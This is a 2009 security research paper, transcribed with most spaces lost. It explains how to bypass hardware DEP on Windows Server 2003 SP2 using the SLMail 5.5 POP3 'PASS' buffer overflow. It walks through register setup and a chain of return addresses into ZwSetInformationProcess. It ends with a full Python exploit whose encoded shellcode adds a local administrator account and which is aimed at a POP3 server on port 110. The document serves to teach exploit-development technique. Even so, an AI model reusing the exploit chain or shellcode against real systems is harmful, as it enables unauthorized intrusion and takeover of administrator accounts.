Bypass Dep

16
BYPASSING HARDWARE BASED DATA EXECUTION PREVENTION (DEP) ON WINDOWS 2003 SERVICE PACK 2 By David Kennedy SecureState Released June 10, 2009

Transcript of Bypass Dep

Page 1: Bypass Dep

BYPASSINGHARDWAREBASEDDATAEXECUTIONPREVENTION(DEP)ON

WINDOWS2003SERVICEPACK2

By

David Kennedy

SecureState

Released June 10, 2009

Page 2: Bypass Dep

© SecureState 2009 http://www.securestate.com 2 of 16

History AshorthistoryonDataExecutionProtection(DEP):itwascreatedinordertopreventexecutioninmemoryin

areasthataren’texecutable.Beforetryingthis,IhighlysuggestreadingskapeandSkywing’sArticleinUnInformedcalled“BypassingWindowsHardware‐EnforcedDEP”.Thisisagreatarticleandisinvaluable.SkapeandSkywingareamazingmindsandaredefinitelysuperhumansinASM.

Background Let’sstartoffwiththebasicsonastack‐basedoverflow.Thesetypesofoverflowsarealmostnon‐existentin

therealworldtoday,andareaboutaseasyasitgets.Whenthedeveloperwrotethespecificapplication,theyallocatedacertainamountofcharactersforaspecificfieldanddidnotdoproperboundscheckingonagivenfield.

Theexamplewewillbeusingisaneasystack‐basedvanillaoverflowinanapplicationcalledSLMAIL.MatiAharonifromOffensiveSecuritydiscoveredtheSLMAILvulnerabilitybackin2004.Thisexploittakes

advantageofimproperboundscheckwithinthe“PASS”fieldwithintheSLMAILPOP3server(port110).Let’sdissecttheactualexploititself,navigateto:http://www.milw0rm.com/exploits/638

Ifyoulookatwheretheactualattackoccurs,itoccursatthePASSfieldPLUSthebuffer.Thebufferconsistsof4,654A’s(\x41triggersouroverflow),anaddresstoourshellcode,somenopsandourshellcode.Tobackupa

bit,thewaythisoverflowworksisbyoverwritingaspecificmemoryaddresscalledEIP.EIPisaninstructionpointerthattellsthesystemwheretogoafterit’sfinished.

IfwecancontrolEIP,wecantellthesystemtogobacktowhereourshellcodeis,typicallytheseaddressesare(forexample)CALLESPorJMPESP.ESPisthestarterpointforthespecificstackthatwearein(i.e.whereour

shellcodeis).Lookingattheexploit,wecanseethat4654A’saresent,thenext0x78396ddfisamemoryaddressthatendsupoverwritingEIPandjumpsusrightbacktoourshellcode.

NOPSarerepresentedby\x90inASMandaresymbolicof“NoOperation”.Thismeansdonothing,andcontinuemovingdownthecodeuntilyouhitavalidinstruction.Thetechniqueofnopsisusedwhenyouaren’t100percentcertainwhereyou’regoingtolandandyoudoa“slide”untilyouhityourshellcode.Thisalsohelps

toremoveanygarbagecharactersthatmaybeleftoverfromthelegitimatefunction.Oncethenopsarefinished,theshellcodeisthenexecutedwhichhasourmaliciouscode,i.e.areverseshell,bindshell,useradd,etc.

Sotheentirepointofthisstackoverflowis:OverwriteEIP,jumpbacktoourshellcode(JMPESP),andexecuteourshellcode.Ifyoulookatthedateandwhatthespecificexploitwastestedon,weseethattheexploitwas

testedonWindows2000,ServicePack4.WhatwouldhappenifyouranthisexactexploitonWindowsXPSP2,Windows2003SP1,Windows2003SP2,andsoon?

Page 3: Bypass Dep

© SecureState 2009 http://www.securestate.com 3 of 16

We’llonlytalkaboutWindows2003SP2inthisspecificpapersinceeachOS,whileofcoursedifferent,isrelativelysimilar.ItissignificantlyeasiertobypassDEPinWindowsXPSP2andWindows2003SP1thanitiswithWindows2003SP2duetotwochecksbeingmadeinmemoryinsteadofone(CMPALandEBPvs.EBPand

ESI).Let’srunthisinadebugger.InthisinstanceI’llbeusingImmunityDebugger.Firstwedownloadtheexploit

fromMilw0rmandrunitthroughyourfavoritedebugger.Letsruntheexploitfromour*nixbox.

Inourdebugger,wegetnaaccessviolationonthefirstinstructiononourcontrolledstack:

Divingdownfurther:Byrightclickingon“MyComputer”,“Properties”,“Advanced”,underPerformance“Advanced”,and“DataExecutionPrevention”,wecanseethat“TurnonDEPforallprogramsandservices

exceptthoseIselect:”.Thisisproblematicforus,aswewanttoexploitthissystemandgainaccesstoit.

Page 4: Bypass Dep

© SecureState 2009 http://www.securestate.com 4 of 16

NowthatweknowDEPisenabled,weneedawayofdisablingitsothatourcontrollablestackisexecutableandourshellcodecanfunctioncorrectly.Fortunatelyforus,thereisawaytodothis.Inthisspecificexploit,Ifiguredusingastandardstackoverflowwouldbesuper‐simpletodo,however,itprovedalotmoredifficult

thanIcouldhaveimagined.TostartoffandrepeatalittleofSkapeandSkywing’sinformation,inordertobypassDEP,youhavetocallafunctioncalledZwSetInformationProcess(inroutineLdrpcCheckNXCompatibility).

Whenthisfunctioniscalled,youmusthavecertainthingsalreadysetupinorderforittodisableDEPandultimatelyjumpusbacktoourcontrolledstack.Let’stakealookattheactualfunctionfirstbeforewestart

divingdowninit.We’llheadofftoNTDLLandlookataddress0x7C83F517.ThisstartstheZwSetInformationProcessandisourbeginningpointtodisablingDEP.

Lookingatthespecificcalls,thefirstthingittriestodoisMOVDWORTPTRSS:[EBP‐4],2.ItisspecificallytryingtoWRITEsomethingtoaspecificmemoryaddress.Ifourregistersarenotproperlysetup,thiswillfailandanexceptionwillbethrownsimilartotheonewesawearlier.Nextitpushesthevalue4tothestack,pushesEAX

tothestack,pushes22tothestack,pushes‐1tothestack,andultimatelycallstheZwSetInformationProcessfunction.

Let’scontinueonafterthecall.Itwilldosomemagic,andultimatelycomehere:

WenowseethatitdoesthesamethingforESI,soagainESImustnowbeawriteablememoryaddressforittonotbombout.WenowknowthatweneedtheregistersEBPandESItopointtowriteablememoryaddressessomehowinorderfortherestofthistowork.Let’sfirsttakethevanillaSLMailexploitthatdoesnotbypassDEP

andworkitintosomethingthatwillfullybypassNX.OnethingtobeawareofhereistheLEAVEcall.ThiswillmoreorlesstakethevalueofEBPandmakeitESP.ThisisproblematicifwehaveEBPpointingtoourHEAP.Soweneedtogetitsomewherenearourcontrollablestackifwewantcodeexecution.

Page 5: Bypass Dep

© SecureState 2009 http://www.securestate.com 5 of 16

Let’stakealookatourregistersatthetimeoftheoverflowtoseewhatwehavetoworkwith:

Lookingatourregisters,itlookslikeECXpointstotheHEAPwhichcanbebeneficialforus,asitiswriteable.Ifwewanttogetcrazywithit,wecouldpossiblyjustdoaheapspray.Butlet’sbemorecreative.WeseethattheonlyreallygoodregisterwecanuseisESPandpossiblyECX.ESPpointsprettyclosetowhereourshellcodeis,

andECXsomewhereinmemory.RememberweneedEBPandESItopointtowriteablememoryaddressesinorderforustodisableNX.Solet’stackleEBPfirst.WefindaconvenientPUSHESP,POPEBP,RETN0x4inSHELL32atmemoryaddress0x7C93C899.

Oncethisexecutes,itwillpushthevalueofESPontoourstack:

OurESPis01F3A154,let’scheckwhatgotpushedontoourstack:

Page 6: Bypass Dep

© SecureState 2009 http://www.securestate.com 6 of 16

Thestackshows01F3A154,great!NowweneedtoPOPthevalueinthestacktoEBP.

NowwehaveEBPpointingtoouroriginalESPaddresswhichissomewherenearourshellcode.Prettyeasysofar…

NextweneedtogetESIpointingtosomewherethatisexecutable.AsimpletechniquewouldhavebeenaPUSHESP,PUSHESP,POPEBP,POPESI,RETNorvariationstothataffect,butsiftingthroughmemoryland,

Iwasn’tabletofindanything.AtthispointIIgotalittlecreative.WeneedtogetESItoawriteablememoryaddress;eitherESPorECXwillworkfromanaddressperspective.

Let’stakealookatthenextseriesofcommandshere.Besuretopaycloseattention,itcangetconfusingfast:Inaddressspace0x7C806B03isaPOPEBX,RETN.ThiswilltakeamemoryaddressALREADYonthestackand

popittotheEBXregister.Wearbitrarilyinsertourownaddresswherewewantittoeventuallygo.Takealookatthecode:

#POPEBX,RETN0x7C806B03@NTDLLdisablenx+='\x03\x6B\x80\x7C'#0x7C8043A3willbeEBXwhenPOP

#ThisisneededforNXBypassforESItobewriteable.#POPEDI,POPESI,RETN0x7c8043A3@NTDLL

disablenx+='\xA3\x43\x80\x7c'

Page 7: Bypass Dep

© SecureState 2009 http://www.securestate.com 7 of 16

WhenIcallthememoryaddress0x7c806B03inNTDLL,itwillPOP0x7c8043A3asthevalueforEBX.SoEBXnowlookslikethis:

Thisstilldoesn’thelpus,asESIisstillabogusaddressof000000.Ournextcommandissuedisthis:#PUSHECX,CALLEBX0x7c934f57@SHELL32

disablenx+='\x57\x4F\x93\x7C'#ThiswillgotoEBX(0x7c8043A3)ThiscommandwillPUSHECXtothestackandCALLEBX.

Remember,wearbitrarilysetECXtoanotherportioninmemoryonestepbefore.WhenthevalueECXgetspushed,itthenCALLSEBX,whichisnowaPOPEDI,POPESI,RETN.WhythisisimportantisitwillPOPEDIfromavalueoffofthestack.Wedon’tcareaboutEDI,butneedtoremove1addressfromofthestackinorderfor

thecorrectvaluetobepoppedintoESI.ThesecondPOPESIwillpopthevalueofEBXintotheESIregister.OncethisoccurswenowhaveEBPandESIpointingtowriteablememoryaddresses.

LookatEB:itsouroriginalESP(startpoint).LookatESI,itpointstothememoryaddressofECX.Nextwecall

ourZwSetInformationProcesstodisableDataExecutionPrevention.Thisislocatedatmemoryaddress0x7C83F517.

Page 8: Bypass Dep

© SecureState 2009 http://www.securestate.com 8 of 16

HerewegothroughthechecktoseeifEBPiswriteable.Itis,itcontinuesontogettheparameterssetupproperlyfortheCALLtoZwSetInformationProcess.Oncewegothroughthat,itdoessomemagic,andthenwearetothecheckonESI:

ItchecksESI,it’swriteable,POPsESI,movesthevalueofEBPtoESP,andRETNs.Weshouldbegoodtogo

right?Wejusthavetofindwhereinourshellcodeweland,putanaddresstoJMPESPandweareallset.Waita

minute…Lookwhereitplacedus:

NoticewhereEIPpointsto:FFFFFFFF

That’snotanaddresswecanuse…Let’slookatthestack:

Soclose!Weare5addressesawayfromouruser‐controlledstack.DuetothewayZwSetInformationProcess

handlesthepushes,pops,andothers,itleavesremnantsonthestackandwecan’tquitegettoourshellcode.Thiswasfrustratingforme,asIprobablyspent2daysgettinguptothispointfindingtherightcalls,onlytoseemyselfalmosttotheshellcode,butnotcloseenough.About8hourslater,aninordinateamountofjoltcola,

andalovingwifethatwasceasingtobeloving,Icameupwithanidea.Ican’tcontroltheseaddresses,butIcancontroladdressesbeforeit.IfIcouldsomehowreturntoapreviousvaluethatwas“ignored”andhavethatcall

Page 9: Bypass Dep

© SecureState 2009 http://www.securestate.com 9 of 16

placemeintherightmemoryspace,Imightbeabletogetintomystackandgetmyshellcode.Let’stakeapeekbackatmyoriginalcode:

#0x7C93C899@SHELL32PUSHESP,POPEBP,RETN0x4disablenx='\x99\xC8\x93\x7C'#GetEBPclosetoourcontrolledstack

#POPEBX,RETN0x7C806B03@NTDLLdisablenx+='\x03\x6B\x80\x7C'#0x7C8043A3willbeEBXwhenPOP

NoticetheRETN0x4inthefirstcall,thiswillreturnustothePOPEBX,RETNinthenextinstruction,butignorethenext4characters.Typicallythesearefilledwith(forexample)\xFF\xFF\xFF\xFF,insteadwe’regoingtoputourownaddressthatfixestheregistersforus.Let’sputthisalltogether:

disablenx='\x99\xC8\x93\x7C'#GetEBPclosetoourcontrolledstack

disablenx+='\x03\x6B\x80\x7C'#0x7C8043A3willbeEBXwhenPOPdisablenx+=’\xFF\xFF\xFF\xFF’#JUNK

Sothesystemwillgotomemoryaddress7C93C899,thento7C036B807CthenignoretheFFFFFFFandcontinueon.WhatifitwerepossiblethatoncewedisabledDEP,wecouldsomehowgetbacktotheFFFFFFF,whichisreallyanaddressthatcorrectsESPandpopsacouplethingsoffofthestacktolandusinourshellcode?Here’s

howwedoit.Rememberwhenwewenthere:

#PUSHECX,CALLEBX0x7c934f57@SHELL32disablenx+='\x57\x4F\x93\x7C'#ThiswillgotoEBX(0x7c8043A3)

ThiswouldpushECXtothestack,callEBX,thenpopESItotherightvalueinawriteablememoryaddress.AfterthatitwouldgostraighttoourZwSetInformationProcessfunctionthatdisablesDEPforus.Insteadofjumping

toZwSetInformationProcess,wegotoaRETN,10,andthengototheZwSetInformationProcess.Let’stakeaquicklook:

#RETN0x100x7c8f7495@SHELL32#disablenx+='\x95\x74\x8f\x7c'#StackAlignment

Page 10: Bypass Dep

© SecureState 2009 http://www.securestate.com 10 of 16

ThiswillissueaRETN10function.WeimmediatelycalltheZwSetInformationProcess,itdoesitsmagic,itchecksEBP,thenchecksESI,thenLEAVE,thenRETN0x4.Itnowplacesusafewinstructionsbehindtheoriginalonewehadissueswith,thisistoour\xFF\xFF\xFF\xFF.Wereplacethe\xFF\xFF\xFF\xFFwithamemoryaddressof

0x7C85E6F7inNTDLL.Thismemoryaddresslookslikethis:

ThiswillADDESPwithavalueof20,POPtworegisters,thenRETN4,thiswilllandusdirectlyinourcontrolled

stackwhereourshellcodeis.Onelastproblem,whichiseasy,wehavetofindexactlywhereitlandsussowecanputamemoryaddressforJMPorCALLESP.ThisiseasywithMetasploit;yousimplygotothetoolssection,usethepattern_createandpattern_offsettooltofindexactlywhereyouland.Usethattoputinamemory

addressthatJMP’sESP:

Page 11: Bypass Dep

© SecureState 2009 http://www.securestate.com 11 of 16

Oncewejumphere,lookwhereweland:

Page 12: Bypass Dep

© SecureState 2009 http://www.securestate.com 12 of 16

Welandrightwherewewant,toanopslide,andultimatelytoourshellcode.ImodifiedtheshellcodeabitinSLMAILtojustaddauseraccountcalledrel1k.Ialsofoundthat0xff,0x00,and0x0aarerestrictedcharacters.Let’stakeapeekbeforeandafter:

Notetheuseraccounts,let’ssendourpayload:

Thepayloadissent.Let’srecheckouruseraccounts:

Alocaladministratoraccountcalled“rel1k”hasbeenadded.Simplyawesome.

Page 13: Bypass Dep

© SecureState 2009 http://www.securestate.com 13 of 16

Thisisaprimeexampleoftakinganexploitandusingittobypassdataexecutionprevention.Iwouldliketonotethatthisisn’taproblemwithMicrosoftinanyway;theyhavechosentoallowbackwardscompatibility(asmentionedwithSkapeandSkywingsarticle).InterestingenoughisIreallyhaven’tseensomethinglikethis;

mostoftheexploitsouttherewithNXbypassalreadyhaveESIandEBPsetupwithminormodification.Thisissomewhatdifferentasourregistersaren’tpointinganywhereuseful.ThisshouldbesomewhatuniversalifECXandESParewriteablememoryaddresses,shouldtakeminormodificationtogetittoworkwithotherexploits.

SpecialthankstoMuts,Ryujin,JohnMelvin(whipsmack),andH.D.Moorethathavehelpedalongtheway.

Remembertovisithttp://www.securestate.comformoreofthisfunstuff!

Page 14: Bypass Dep

© SecureState 2009 http://www.securestate.com 14 of 16

References: SkapeandSkywing.BypassingWindowsHardware‐enforcedExecutionPrevention.October2,2005.http://uninformed.org/index.cgi?v=2&a=4.BrettMoore’sCrafyNXBypass.SpecialthankstoHDM.http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb

http://www.offensive‐security.comSpecialthankstoRyujin,andMutsforallthehelp

Page 15: Bypass Dep

© SecureState 2009 http://www.securestate.com 15 of 16

SLMail with DEP Bypass below: #!/usr/bin/python

#####################################################################SLMail5.5.0.4433NXBypass2003SP2

##Writtenby:DavidKennedy(ReL1K)atSecureState#

#OriginalExploitDiscoveredby:mutshttp://www.offensive‐security.com##TestedonWindows2003SP2,notealladdressesforSP2R2appeartobe

#there,justindifferentmemoryaddresses.Shouldn’tbehardtomodify.###################################################################

importsocketsock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)buffer="\x41"*4654

#HerewestarttheNXbypasscode

#0x7C93C899@SHELL32PUSHESP,POPEBP,RETN0x4disablenx='\x99\xC8\x93\x7C'#GetEBPclosetoourcontrolledstack

#POPEBX,RETN0x7C806B03@NTDLLdisablenx+='\x03\x6B\x80\x7C'#0x7C8043A3willbeEBXwhenPOP

#ThiswillbecalledwhenNXhasbeen#disabledandgetustoourcontrolledstack.

#ADDESP10,POPESI,POPEBP,RETN40x7C85E6F7@NTDLLdisablenx+='\xF7\xE6\x85\x7C'

#ThisisneededforNXBypassforESI#tobewriteable.

#POPEDI,POPESI,RETN0x7c8043A3@NTDLLdisablenx+='\xA3\x43\x80\x7c'

#PUSHECX,CALLEBX0x7c934f57@SHELL32disablenx+='\x57\x4F\x93\x7C'#ThiswillgotoEBX(0x7c8043A3)

#RETN0x100x7c8f7495@SHELL32

Page 16: Bypass Dep

© SecureState 2009 http://www.securestate.com 16 of 16

disablenx+='\x95\x74\x8f\x7c'#StackAlignment#DEPBYPASS‐ESIandEBPPOINTTOWRITEABLEMEMORYADDRESSES

#0x7C83F517@NTDLLdisablenx+='\x17\xF5\x83\x7C'#DISABLENXTHROUGHZwSetInformationProcess

#win32_adduser‐PASS=ihazadminUSER=rel1kSize=240#Encoder=PexFnstenvSub#RestrictedCharacters:0x00,0x0ashellcode=("\x2b\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd0"

"\xf3\xb1\xa3\x83\xeb\xfc\xe2\xf4\x2c\x1b\xf5\xa3\xd0\xf3\x3a\xe6""\xec\x78\xcd\xa6\xa8\xf2\x5e\x28\x9f\xeb\x3a\xfc\xf0\xf2\x5a\xea""\x5b\xc7\x3a\xa2\x3e\xc2\x71\x3a\x7c\x77\x71\xd7\xd7\x32\x7b\xae"

"\xd1\x31\x5a\x57\xeb\xa7\x95\xa7\xa5\x16\x3a\xfc\xf4\xf2\x5a\xc5""\x5b\xff\xfa\x28\x8f\xef\xb0\x48\x5b\xef\x3a\xa2\x3b\x7a\xed\x87"

"\xd4\x30\x80\x63\xb4\x78\xf1\x93\x55\x33\xc9\xaf\x5b\xb3\xbd\x28""\xa0\xef\x1c\x28\xb8\xfb\x5a\xaa\x5b\x73\x01\xa3\xd0\xf3\x3a\xcb""\xec\xac\x80\x55\xb0\xa5\x38\x5b\x53\x33\xca\xf3\xb8\x03\x3b\xa7"

"\x8f\x9b\x29\x5d\x5a\xfd\xe6\x5c\x37\x90\xdc\xc7\xfe\x96\xc9\xc6""\xf0\xdc\xd2\x83\xbe\x96\xc5\x83\xa5\x80\xd4\xd1\xf0\x81\xd4\xcf""\xe1\x98\x91\xca\xb8\x92\xcb\xc2\xb4\x9e\xd8\xcd\xf0\xdc\xf0\xe7"

"\x94\xd3\x97\x85\xf0\x9d\xd4\xd7\xf0\x9f\xde\xc0\xb1\x9f\xd6\xd1""\xbf\x86\xc1\x83\x91\x97\xdc\xca\xbe\x9a\xc2\xd7\xa2\x92\xc5\xcc""\xa2\x80\x91\xd1\xb5\x9f\x80\xc8\xf0\xdc\xf0\xe7\x94\xf3\xb1\xa3")

nops1="\x90"*28#28NOPSLIDEUNTILJMPESPPTR

jmpesp="\x1B\xA0\x86\x7C"#0x7C86A01BJMPESP@NTDLLnops2="\x90"*50#PADDINGBEFORESHELLCODE

print"\nSendinghappyNXBypassOverflow..."sock.connect(('10.211.55.128',110))

data=sock.recv(1024)sock.send('USERusername'+'\r\n')data=sock.recv(1024)

sock.send('PASS'+buffer+disablenx+nops1+jmpesp+nops2+shellcode+'\r\n')data=sock.recv(1024)sock.close()

print"\nExploitsent.Youshouldhaveauser'rel1k'withpassword'ihazadmin'\n\n"